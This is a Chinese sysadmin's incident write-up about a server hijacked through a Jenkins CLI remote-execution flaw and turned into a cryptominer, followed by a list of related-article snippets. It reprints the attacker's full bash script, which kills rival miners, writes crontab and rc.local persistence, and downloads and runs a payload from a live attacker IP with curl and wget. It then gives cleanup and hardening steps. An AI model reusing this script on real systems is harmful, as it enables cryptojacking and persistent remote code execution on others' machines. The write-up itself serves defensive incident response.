?服务器被黑处理过程

突然手机报警就响了,显示负载高,立即登录服务器查看,第一眼的就识别到了,服务器被挖矿了。安全总是相对的,再安全的服务器也有可能遭受到攻击。作为一个安全运维人员,要把握的原则是:尽量做好系统安全防护,修复所有已知的危险行为,同时,在系统遭受攻击后能够迅速有效地处理攻击行为,最大限度地降低攻击对系统产生的影响接下来是我整个解决思路。

如图:发现通过jenkins用户启动挖矿程序

本次是由于jenkins漏洞导致,这个漏洞是Jenkins cli带来的远程执行漏洞,会被利用自动执行一个挖矿程序,导致你的服务器占用cpu率高

通过netstat -anp 找到挖矿程序连接的地址

1.1 过滤执行的脚本

通过服务器被挖矿,你kill上面的进程是不管用的,因为它这里有一个后台执行的脚本,脚本里面写的是一个死循环,你kill掉那个进程,休息五秒自己就起来了。之前我看过挖矿的脚本进行分析的。

这里附上挖矿的脚本,大家可以自己分析下。

#!/bin/bash
 
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
function kills() {
/bin/ps aux |grep -v sourplum | awk '{if($3>20.0) print $2}' | while read procid
do
kill -9 $procid
done
crontab -l | sed '/212.237.2.23/d' | crontab -
crontab -l | sed '/94.177.187.110/d' | crontab -
pkill -f biosetjenkins
ps ax|grep var|grep lib|grep jenkins|grep -v httpPort|grep -v headless|grep "\-c"|xargs kill -9
ps ax|grep -o './[0-9]* -c'| xargs pkill -f
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs ps --ppid|awk '{print $1}'|grep -v PID|xargs kill -9
ps ax|grep tmp|grep irqa|grep -v grep|awk '{print $1}'|xargs kill -9
pkill -f 45.76.102.45
pkill -f stratum
pkill -f mixnerdx
pkill -f performedl
pkill -f sleep
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f minexmr
pkill -f XJnRj
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f 108.61.186.224
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
ps -ef|grep '.so'|grep -v grep|cut -c 9-15|xargs kill -9;
pkill -f 45.76.146.166
pkill -f irqbalanc1
pkill -f 188.120.247.175
rm -rf /tmp/httpd.conf
rm -rf /tmp/conn
rm -rf /tmp/conns
rm -f /tmp/irq.sh
rm -f /tmp/irqbalanc1
rm -f /tmp/irq
}
 
function writecrontab() {
       xcrontab=$(cat /etc/crontab | grep "http://207.246.68.21/rootv2.sh" | grep -v grep |wc -l)
       if [ $xcrontab -eq 0 ];then
        echo "0 0 * * *   root    curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm /etc/root.sh.* ; bash /etc/root.sh &" >> /etc/crontab
       else
        echo ""
       fi
}
 
function writerc() {
       x=$(cat /etc/rc.local | grep "http://207.246.68.21/rootv2.sh" | grep -v grep | wc -l)
       if [ $x -eq 0 ];then
              $(sed -i "s/exit 0//g" /etc/rc.local)
              $(sed -i "s/bash /etc/root.sh//g" /etc/rc.local)
              echo "curl http://207.246.68.21/rootv2.sh > /etc/root.sh ; wget -P /etc http://207.246.68.21/rootv2.sh ; rm -rf /etc/root.sh.* ; bash /etc/root.sh" >> /etc/rc.local
              echo "exit 0" >> /etc/rc.local
       else
              echo ""
       fi
}
 
function hugepage() {
       echo 128 > /proc/sys/vm/nr_hugepages
       sysctl -w vm.nr_hugepages=128
}
 
function downloadyam() {
       if [ ! -f "sourplum" ] ;then
              curl http://207.246.68.21/sourplum > sourplum && chmod +x sourplum
              if [ ! -f "sourplum" ] ;then
                     wget http://207.246.68.21/sourplum && chmod +x sourplum
                     rm -rf sourplum.* #这个是删除假的   没有用 
              fi
              ./sourplum &  #最后的目的是执行这个文件 
       else
              writecrontab
              writerc
              p=$(ps aux | grep sourplum | grep -v grep | wc -l)
              if [ ${p} -eq 1 ];then
                     echo "sourplum"
              elif [ ${p} -eq 0 ];then
                     ./sourplum &
              else
                     echo ""
              fi
       fi
}
 
hugepage
 
while [ 1 ]
do
       kills
       downloadyam
       sleep 5
done

1.2 检查定时任务

切记,这里只是查看的当前的定时任务,还要检查cat /etc/crontab 配置文件,很多时候,它是添加到了配置文件

1.3 检查rc.local

1.4 检查history操作历史

1.5 检查登录日志及系统日志

/var/log/secure 登录安全日志
/var/log/message  系统日志

1.6 处理服务器被黑的几种思路

1、处理服务器遭受攻击的一般思路
系统遭受攻击并不可怕,可怕的是面对攻击束手无策,下面就详细介绍下在服务器遭受攻击后的一般处理思路。
(1)切断网络 所有的攻击都来自于网络,因此,在得知系统正遭受黑客的攻击后,首先要做的就是断开服务器的网络连接,这样除了能切断攻击源之外,也能保护服务器所在网络的其他主机。
(2)查找攻击源 可以通过分析系统日志或登录日志文件,查看可疑信息,同时也要查看系统都打开了哪些端口,运行哪些进程,并通过这些进程分析哪些是可疑的程序。这个过程要根据经验和综合判断能力进行追查和分析。下面会详细介绍这个过程的处理思路。
(3)分析入侵原因和途径 既然系统遭到入侵,那么原因是多方面的,可能是系统漏洞,也可能是程序漏洞,一定要查清楚是哪个原因导致的,并且还要查清楚遭到攻击的途径,找到攻击源,因为只有知道了遭受攻击的原因和途径,才能删除攻击源同时进行漏洞的修复。
(4)备份用户数据 在服务器遭受攻击后,需要立刻备份服务器上的用户数据,同时也要查看这些数据中是否隐藏着攻击源。如果攻击源在用户数据中,一定要彻底删除,然后将用户数据备份到一个安全的地方。
(5)重新安装系统 永远不要认为自己能彻底清除攻击源,因为没有人能比黑客更了解攻击程序,在服务器遭到攻击后,最安全也最简单的方法就是重新安装系统,因为大部分攻击程序都会依附在系统文件或者内核中,所以重新安装系统才能彻底清除攻击源。
(6)修复程序或系统漏洞 在发现系统漏洞或者应用程序漏洞后,首先要做的就是修复系统漏洞或者更改程序bug,因为只有将程序的漏洞修复完毕才能正式在服务器上运行。
(7)恢复数据和连接网络 将备份的数据重新复制到新安装的服务器上,然后开启服务,最后将服务器开启网络连接,对外提供服务。
2、检查并锁定可疑用户
当发现服务器遭受攻击后,首先要切断网络连接,但是在有些情况下,比如无法马上切断网络连接时,就必须登录系统查看是否有可疑用户,如果有可疑用户登录了系统,那么需要马上将这个用户锁定,然后中断此用户的远程连接。

1.7 对系统进行安全防护

1.     修改默认账号密码及端口如(sshd)
2.     隐藏真实服务器的外网地址,及外网暴露端口尽可能的少
3.     取消不必要的服务 
4.     升级Jenkins CLI
5.     对web进行代码审计,防止SQL注入
6.     限制系统的登录
7.     进行防火墙安全设置 
8.     防止SSH等暴力破解

1.8 挖矿病毒的原理分析

1.     通过定时任务去下载远程的脚本程序
2.     通过脚本,执行守护进程程序,占用服务器资源cpu
3.     发现占用进程的程序kill掉,它会自动起来,找到执行脚本,杀掉根源。切记对定时任务和rc.local进行检查和可以进程。

原文地址:http://blog.51cto.com/kaile/2065900

时间: 2024-10-08 09:29:58

?服务器被黑处理过程的相关文章

linux实践-弱密码导致服务器被黑

本人从事IT行业以6年有余,这期间曾尝试过很多方向,但基本都不做开发.最近又开始尝试做运维.接下来就说说做运维以来遇上的第一次事故. 那天下午接到研发的工作单,要求上架2个linux的服务器,只要安装好CentOS6.5操作系统,然后对外开放22端口即可.要求非常简单.很快就实现了,root密码就设置成了password.然后交付研发.之后是个愉快的周六和郁闷的周日.因为这周日我被领导通知来公司检查网络,因为公司服务器无法访问了.考验来了,我心想. 赶到公司后第一件是就是登陆防火墙判断一下是不是

(转)服务器被黑给我上了一课

当你作为一个独立开发者的时候总要面临这样那样的问题,以前认为的小概率事件也总是某个时间点蜂拥而至考验你的耐心,前一阵阵刚刚经历了一次木马惊魂 (参见文章猎豹清理大师值得我们信任么? ),这次又遇到了服务器被黑. 部署服务器及一般的服务配置管理对于一个写代码的人自然不在话下,但是相对专业的运维人员程序员确少的却是一个安全意识,总以为服务器被攻击是一个小概率的事件.以前是这么考虑的“互联网上的主机那么多偏偏你的主机被骇客盯上? 这不跟重大奖一样么,我有那么幸运么?”虽然前一段时间自己的产品被当成木马

cwRsyncServer从windows下数据实时同步到linux服务器上的实现过程

由于公司有两台windows服务器,开发在操作时一般也都是在这两台服务器上上传一些数据或修改一些东西,而Linux上的服务器也要跟windows上的数据要保持一致而又不需要人为的实现这个过程,基于此过程,昨天花了点时间,完成了基本的测试实现过程,今天就把这过程给记录下来,方便以后查看,以希望可以帮到还在困惑的朋友们. 第一步:在windows上的安装cwRsyncServer4.1.0以及配置过程: 在windows上下载安装包cwRsyncServer4.rar,这个不多解析,大家都懂,要是在

Oracle 11g win7 64位【桌面类 && 服务器类】安装过程

Oracle 11g  win7  64位[桌面类 && 服务器类]安装过程 一.首先,根据自己的操作系统位数(32位或64位),到官网下载相应的安装程序,如下图所示. 二.解压两个压缩包到同一目录,即"database".[]然后右键"setup.exe",点管理员身份运行(或者双击文件即可运行),如下图所示: 稍微等待一会,就会出现如下图所示的安装画面,取消下图所示的选中,然后单击"下一步"继续,同时在出现的信息提示框单击&q

记一次服务器被黑的调查过程

1.因服务器负载过高,查看原因,通过top命令查看负载发现异常进程md64, 2.ps查看进程启动程序 3.kill掉后跳出名为tsm异常进程,怀疑挖矿木马程序. 使用kill -9 杀死后,一分钟左右又自动出现, 4.ps查找该进程目录,发现可疑文件/usr/sbin/http 然进入到该目录,并没有发现该可疑文件. 5.查找有无可议计划任务. a.查看root下计划任务, b.清除后,查看git用户下计划任务. 将上述所列计划任务清除后,kill 杀死tsm进程后,还是启动 6.查找可疑用户

记录一次linux线上服务器被黑事件

1.原因:本来在家正常休息了,我们放在上海托管机房的线上服务器突然蹦了远程不了,服务启动不了,然后让上海机房重启了一次,还是直接挂了,一直到我远程上才行. 2.现象:远程服务器发现出现这类信息 Hi, please view: http://pastie.org/pastes/10800563/text?key=hzzm4hk4ihwx1jfxzfizzq for further information in regards to your files!Hi, please view: http

记一次服务器宕机处理过程

今天整理之前的运维资料,发现了自己整理的一次刀片服务器(运行的vmware虚拟化)事故处理流程,所有记录下,备忘. 一.事件处理过程 14:10 接到机房运维工程师通知,Opmanager监控系统上出现了多台服务器宕机现象,并且均为虚拟机. 14:12 通知机房运维工程师检查HP刀片服务器是否有告警,远程登录vcenter进行检查.远程查看发现ESX04(10.203.11.64)出现告警,告警信息如下图所示:  14:15 通知工程师ESX04出现告警,然后确认该刀片服务器是否存活,并进入机房

一次线上页游服务器响应缓慢排查过程

最近线上一组服务器玩家反馈响应缓慢,记录下排查过程. 1.使用top命令查看服务器负载情况, top - 15:59:37 up 26 days,  3:42,  6 users,  load average: 2.98, 2.74, 2.70 Tasks: 180 total,   1 running, 167 sleeping,  12 stopped,   0 zombie Cpu(s):  8.1%us,  2.4%sy,  0.0%ni, 65.7%id, 23.6%wa,  0.0%

memcached缓存服务器介绍及其安装过程

Memcache是什么? memcached是以LiveJournal旗下Danga Interactive 公司的Brad Fitzpatric 为首开发的一款软件.现在 已成为mixi.hatena.Facebook.Vox.LiveJournal等众多服务中提高Web应用扩展性的重要因素. Memcached是一款开源.高性能.分布式内存对象缓存系统,可应用各种需要缓存的场景,其主要目的是通过降低对Database的访问来加速web应用程序.许多Web应用都将数据保存到RDBMS中,应用服